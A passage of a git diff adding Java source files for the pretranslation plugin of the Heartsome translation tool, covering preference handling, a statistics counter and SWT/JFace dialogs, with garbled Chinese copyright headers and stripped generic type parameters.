Date:2012-5-8 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.pretranslation.bean; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class ImageConstants { + public final static String PRE_TRANSLTATION_LOGO = "images/dialog/pre-translation-logo.png"; +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/bean/PreTransParameters.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/bean/PreTransParameters.java new file mode 100644 index 0000000..69a5be6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/bean/PreTransParameters.java @@ -0,0 +1,88 @@ +/** + * PreTransParameters.java + * + * Version information : + * + * Date:2012-5-8 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.pretranslation.bean; + +import net.heartsome.cat.ts.pretranslation.Activator; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class PreTransParameters implements IPropertyChangeListener { + + private int updateStrategy = 0; + private boolean lockFullMatch = false; + private boolean lockContextMatch = false; + + private IPreferenceStore ps; + + private static PreTransParameters instance; + + public static PreTransParameters getInstance() { + if (instance == null) { + instance = new PreTransParameters(); + } + return instance; + } + + private PreTransParameters() { + this.ps = Activator.getDefault().getPreferenceStore(); + if (ps != null) { + this.ps.addPropertyChangeListener(this); + this.loadParameters(); + } + } + + private void loadParameters() { + updateStrategy = ps.getInt(IPreTransConstants.UPDATE_STRATEGY); + lockFullMatch = ps.getBoolean(IPreTransConstants.LOCK_FULL_MATCH); + lockContextMatch = ps.getBoolean(IPreTransConstants.LOCK_CONTEXT_MATCH); + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.util.IPropertyChangeListener#propertyChange(org.eclipse.jface.util.PropertyChangeEvent) + */ + public void propertyChange(PropertyChangeEvent event) { + loadParameters(); + } + + /** + * 预翻译时,当å‰å·²ç»å­˜åœ¨åŒ¹é…时的更新策略 + * @return the updateStrategy + */ + public int getUpdateStrategy() { + return updateStrategy; + } + + /** + * 是å¦é”å®šå®Œå…¨åŒ¹é… + * @return the lockFullMatch + */ + public boolean isLockFullMatch() { + return lockFullMatch; + } + + /** + * 是å¦é”å®šä¸Šä¸‹æ–‡åŒ¹é… + * @return the lockContextMatch + */ + public boolean isLockContextMatch() { + return lockContextMatch; + } +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/bean/PreTranslationCounter.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/bean/PreTranslationCounter.java new file mode 100644 index 0000000..5f43cf0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/bean/PreTranslationCounter.java @@ -0,0 +1,77 @@ +/** + * PreTranslationCounter.java + * + * Version information : + * + * Date:2012-5-10 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.pretranslation.bean; + +/** + * 预翻译计数器,用于对预翻译的文件进行统计 + * @author jason + * @version + * @since JDK1.6 + */ +public class PreTranslationCounter { + private int transTuCount = 0; + private int lockedFullCount = 0; + private int lockedContextCount = 0; + private int tuNumber = 0; + private String currentFile = ""; + + public PreTranslationCounter(String file) { + this.currentFile = file; + } + + public void countTransTu() { + this.transTuCount++; + } + + public void countLockedFullMatch() { + this.lockedFullCount++; + } + + public void countLockedContextmatch() { + this.lockedContextCount++; + } + + /** @return the transTuCount */ + public int getTransTuCount() { + return transTuCount; + } + + /** @return the lockedFullCount */ + public int getLockedFullCount() { + return lockedFullCount; + } + + /** @return the lockedContextCount */ + public int getLockedContextCount() { + return lockedContextCount; + } + + /** @return the tuNumber */ + public int getTuNumber() { + return tuNumber; + } + + /** + * @param tuNumber + * the tuNumber to set + */ + public void setTuNumber(int tuNumber) { + this.tuNumber = tuNumber; + } + + /** @return the currentFile */ + public String getCurrentFile() { + return currentFile; + } + +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/converter/ExecutePreTranslationImpl.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/converter/ExecutePreTranslationImpl.java new file mode 100644 index 0000000..b06ca29 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/converter/ExecutePreTranslationImpl.java @@ -0,0 +1,44 @@ +/** + * ExecutePreTranslationImpl.java + * + * Version information : + * + * Date:2012-6-25 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.pretranslation.converter; + +import java.util.List; + +import org.eclipse.core.resources.IFile; +import org.eclipse.swt.widgets.Display; + +import net.heartsome.cat.convert.extenstion.IExecutePretranslation; +import net.heartsome.cat.ts.pretranslation.PreTransUitls; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class ExecutePreTranslationImpl implements IExecutePretranslation { + + /** + * + */ + public ExecutePreTranslationImpl() { + // TODO Auto-generated constructor stub + } + + /** (non-Javadoc) + * @see net.heartsome.cat.convert.extenstion.IExecutePretranslation#executePreTranslation(java.util.List) + */ + public void executePreTranslation(List files) { + PreTransUitls.executeTranslation(files, Display.getCurrent().getActiveShell()); + } + +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/dialog/PreTranslationDialog.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/dialog/PreTranslationDialog.java new file mode 100644 index 0000000..680ed27 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/dialog/PreTranslationDialog.java @@ -0,0 +1,308 @@ +/** + * PreTranslationDialog.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.pretranslation.dialog; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.bean.XliffBean; +import net.heartsome.cat.ts.pretranslation.Activator; +import net.heartsome.cat.ts.pretranslation.bean.ImageConstants; +import net.heartsome.cat.ts.pretranslation.preference.PreTranslationPreferencePage; +import net.heartsome.cat.ts.pretranslation.resource.Messages; +import net.heartsome.cat.ts.ui.composite.DialogLogoCmp; +import net.heartsome.cat.ts.ui.util.PreferenceUtil; + +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.dialogs.TrayDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; + +/** + * 预翻译信æ¯æ˜¾ç¤ºå¯¹è¯æ¡†,用于展示文件列表 + * @author Jason + * @version + * @since JDK1.6 + */ +public class PreTranslationDialog extends TrayDialog { + + private TableViewer viewer; + private Button perferenceButton; + + private Map> xliffInofs; + + private Image logoImage = Activator.getImageDescriptor(ImageConstants.PRE_TRANSLTATION_LOGO).createImage(); + /** + * Create the dialog. + * @param parentShell + */ + public PreTranslationDialog(Shell parentShell, Map> xliffInofs) { + super(parentShell); + this.xliffInofs = xliffInofs; + setHelpAvailable(true); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.PreTranslationDialog.title")); + } + + /** + * 添加帮助按钮 + * robert 2012-09-06 + */ + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP 预翻译 + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s03.html#pre-translation", language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + Composite container = (Composite) super.createDialogArea(parent); + GridLayoutFactory.fillDefaults().extendedMargins(-1, -1, -1, 8).numColumns(1).applyTo(container); + + createLogoArea(container); + + Composite parentCmp = new Composite(parent, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(9, 9, 0, 0).numColumns(1).applyTo(parentCmp); + GridDataFactory.fillDefaults().grab(true, true).applyTo(parentCmp); + + createPageContent(parentCmp); + + viewer.getTable().setFocus(); + return container; + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + perferenceButton = createButton(parent, 1001, + Messages.getString("dialog.PreTranslationDialog.perferenceButton"), false); + super.createButtonsForButtonBar(parent); + initLister(); + } + + /** + * Return the initial size of the dialog. + */ + @Override + protected Point getInitialSize() { + return getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT); + } + + /** + * 创建页é¢å†…容 + * @param parent + * ; + */ + private void createPageContent(Composite parent) { + Composite composite = new Composite(parent, SWT.NONE); + GridLayout gl_composite = new GridLayout(1, false); + gl_composite.marginHeight = 0; + gl_composite.marginWidth = 0; + gl_composite.verticalSpacing = 0; + composite.setLayout(gl_composite); + composite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, false, true, 1, 1)); + + viewer = new TableViewer(composite, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.MULTI | SWT.FULL_SELECTION); + final Table table = viewer.getTable(); + GridData tableGd = new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1); + tableGd.heightHint = 220; + table.setLayoutData(tableGd); + + table.setLinesVisible(true); + table.setHeaderVisible(true); + + String[] clmnTitles = new String[] { Messages.getString("dialog.PreTranslationDialog.clmnTitles1"), + Messages.getString("dialog.PreTranslationDialog.clmnTitles2"), + Messages.getString("dialog.PreTranslationDialog.clmnTitles3"), + Messages.getString("dialog.PreTranslationDialog.clmnTitles4") }; + int[] clmnBounds = { 80, 250, 100, 100 }; + for (int i = 0; i < clmnTitles.length; i++) { + createTableViewerColumn(viewer, clmnTitles[i], clmnBounds[i], i); + } + + viewer.setLabelProvider(new TableViewerLabelProvider()); + viewer.setContentProvider(new ArrayContentProvider()); + viewer.setInput(this.getTableViewerInput()); + } + + /** + * 从当å‰çš„æ•°æ®åº“获å–需è¦æ˜¾ç¤ºåˆ°ç•Œé¢ä¸Šçš„æ•°æ® + * @return ; + */ + private String[][] getTableViewerInput() { + String wPath = ResourcesPlugin.getWorkspace().getRoot().getLocation().toOSString(); + Iterator>> it = xliffInofs.entrySet().iterator(); + List rows = new ArrayList(); + int index = 1; + while (it.hasNext()) { + Entry> entry = it.next(); + String filePath = entry.getKey(); + String iFilePath = filePath.replace(wPath, ""); // 获å–到项目为根的路径 + + List xliffBeans = entry.getValue(); + + // for (int i = 0; i < xliffBeans.size(); i++) { + XliffBean xliffBean = xliffBeans.get(0); + String srcLang = xliffBean.getSourceLanguage(); + String tagLang = xliffBean.getTargetLanguage(); + String[] rowValue = new String[] { (index++) + "", iFilePath, srcLang, tagLang }; + rows.add(rowValue); + // } + } + return rows.toArray(new String[][] {}); + } + + /** + * tableViewer的标签æ供器 + * @author Jason + */ + class TableViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String[]) { + String[] array = (String[]) element; + return array[columnIndex]; + } + return null; + } + } + + /** + * 显示图片区 + * @param parent + */ + public void createLogoArea(Composite parent) { + new DialogLogoCmp(parent, SWT.NONE, Messages.getString("dialog.PreTranslationDialog.logoTitle"), Messages.getString("dialog.PreTranslationDialog.desc"), logoImage); + } + + /** + * åˆå§‹åŒ–监å¬,为å‚æ•°è®¾ç½®æŒ‰é’®æ·»åŠ ç›‘å¬ ; + */ + private void initLister() { + perferenceButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + openPreferenceSetting(); + } + }); + } + + /** + * 打开首选项设置对è¯æ¡† ; + */ + private void openPreferenceSetting() { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + PreferenceUtil.openPreferenceDialog(window, PreTranslationPreferencePage.ID); + } + + /** + * 设置TableViewer 列属性 + * @param viewer + * @param title + * 列标题 + * @param bound + * 列宽 + * @param colNumber + * 列åºå· + * @return {@link TableViewerColumn}; + */ + private TableViewerColumn createTableViewerColumn(TableViewer viewer, String title, int bound, final int colNumber) { + final TableViewerColumn viewerColumn = new TableViewerColumn(viewer, SWT.NONE | SWT.Resize); + final TableColumn column = viewerColumn.getColumn(); + column.setText(title); + column.setWidth(bound); + column.setResizable(true); + column.setMoveable(true); + return viewerColumn; + } + + @Override + protected void okPressed() { + super.okPressed(); + } + + @Override + public boolean close() { + if(logoImage != null && !logoImage.isDisposed()){ + logoImage.dispose(); + } + return super.close(); + } +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/dialog/PreTranslationResultDialog.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/dialog/PreTranslationResultDialog.java new file mode 100644 index 0000000..3c51c1f --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/dialog/PreTranslationResultDialog.java @@ -0,0 +1,192 @@ +/** + * PreTranslationResultDialog.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.pretranslation.dialog; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.ts.pretranslation.bean.PreTranslationCounter; +import net.heartsome.cat.ts.pretranslation.resource.Messages; + +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; + +/** + * 预翻译结果显示对è¯æ¡† + * @author Jason + * @version + * @since JDK1.6 + */ +public class PreTranslationResultDialog extends Dialog { + private TableViewer tableViewer; + List preTransResult; + + /** + * Create the dialog. + * @param parentShell + */ + public PreTranslationResultDialog(Shell parentShell, List preTransResult) { + super(parentShell); + this.preTransResult = preTransResult; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.PreTranslationResultDialog.title")); + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + Composite container = (Composite) super.createDialogArea(parent); + container.setLayout(new GridLayout(1, false)); + + Composite composite = new Composite(container, SWT.NONE); + GridLayout gl_composite = new GridLayout(1, false); + gl_composite.verticalSpacing = 0; + gl_composite.marginWidth = 0; + gl_composite.marginHeight = 0; + composite.setLayout(gl_composite); + composite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + tableViewer = new TableViewer(composite, SWT.BORDER | SWT.FULL_SELECTION | SWT.V_SCROLL | SWT.H_SCROLL); + Table table = tableViewer.getTable(); + + GridData tableGd = new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1); + tableGd.heightHint = 220; + table.setLayoutData(tableGd); + + table.setLinesVisible(true); + table.setHeaderVisible(true); + + String[] clmnTitles = new String[] { Messages.getString("dialog.PreTranslationResultDialog.clmnTitles1"), + Messages.getString("dialog.PreTranslationResultDialog.clmnTitles2"), + Messages.getString("dialog.PreTranslationResultDialog.clmnTitles3"), + Messages.getString("dialog.PreTranslationResultDialog.clmnTitles4"), + Messages.getString("dialog.PreTranslationResultDialog.clmnTitles5"), + Messages.getString("dialog.PreTranslationResultDialog.clmnTitles6") }; + int[] clmnBounds = { 60, 200, 100, 110, 110, 110 }; + for (int i = 0; i < clmnTitles.length; i++) { + createTableViewerColumn(tableViewer, clmnTitles[i], clmnBounds[i], i); + } + + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + tableViewer.setInput(this.getTableViewerInput()); + return container; + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true); + } + + /** + * Return the initial size of the dialog. + */ + @Override + protected Point getInitialSize() { + return getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT); + } + + private String[][] getTableViewerInput() { + String wPath = ResourcesPlugin.getWorkspace().getRoot().getLocation().toOSString(); + List rows = new ArrayList(); + int i = 1; + for (PreTranslationCounter counter : preTransResult) { + String iFilePath = counter.getCurrentFile().replace(wPath, ""); + String[] row = new String[] { (i++) + "", iFilePath, counter.getTuNumber() + "", + counter.getTransTuCount() + "", counter.getLockedContextCount() + "", + counter.getLockedFullCount() + "" }; + rows.add(row); + } + return rows.toArray(new String[][] {}); + } + + /** + * 设置TableViewer 列属性 + * @param viewer + * @param title + * 列标题 + * @param bound + * 列宽 + * @param colNumber + * 列åºå· + * @return {@link TableViewerColumn}; + */ + private TableViewerColumn createTableViewerColumn(TableViewer viewer, String title, int bound, final int colNumber) { + final TableViewerColumn viewerColumn = new TableViewerColumn(viewer, SWT.NONE | SWT.Resize); + final TableColumn column = viewerColumn.getColumn(); + column.setText(title); + column.setWidth(bound); + column.setResizable(true); + column.setMoveable(true); + return viewerColumn; + } + + /** + * tableViewer的标签æ供器 + * @author Jason + */ + class TableViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String[]) { + String[] array = (String[]) element; + return array[columnIndex]; + } + return null; + } + } + + /** + * @param tableViewer + * the tableViewer to set + */ + public void setTableViewer(TableViewer tableViewer) { + this.tableViewer = tableViewer; + } + + public boolean close() { + this.preTransResult.clear(); + this.preTransResult = null; + return super.close(); + } +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/dialog/PromptDialog.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/dialog/PromptDialog.java new file mode 100644 index 0000000..01833f9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/dialog/PromptDialog.java @@ -0,0 +1,99 @@ +package net.heartsome.cat.ts.pretranslation.dialog; + +import java.util.List; + +import net.heartsome.cat.ts.pretranslation.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; + +public class PromptDialog extends Dialog { + + private List toolIds; + private String choiceResult; + + /** + * Create the dialog. + * @param parentShell + */ + public PromptDialog(Shell parentShell, List toolIds) { + super(parentShell); + this.toolIds = toolIds; + } + + @Override + protected boolean canHandleShellCloseEvent() { + return false; + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + Composite container = (Composite) super.createDialogArea(parent); + + Label label = new Label(container, SWT.NONE); + label.setLayoutData(new GridData(SWT.LEFT, SWT.CENTER, true, false, 1, 1)); + label.setText(Messages.getString("dialog.PromptDialog.label")); + + for (String toolId : toolIds) { + final Button btn = new Button(container, SWT.RADIO); + btn.setText(toolId); + btn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + if (btn.getSelection()) { + choiceResult = btn.getText(); + } + } + }); + } + + return container; + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true); + } + + /** + * Return the initial size of the dialog. + */ + @Override + protected Point getInitialSize() { + return getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT); + } + + @Override + protected void okPressed() { + if (choiceResult == null) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.PromptDialog.msgTitle"), + Messages.getString("dialog.PromptDialog.msg")); + return; + } + super.okPressed(); + } + + public String getChoiceResult() { + return choiceResult; + } +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/handlers/PreTranslationHandler.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/handlers/PreTranslationHandler.java new file mode 100644 index 0000000..0c232ac --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/handlers/PreTranslationHandler.java @@ -0,0 +1,84 @@ +/** + * PreTranslationHandler.java + * + * Version information : + * + * Date:2012-5-8 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.pretranslation.handlers; + +import java.util.List; + +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.ui.handlers.AbstractSelectProjectFilesHandler; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.help.SystemResourceUtil; +import 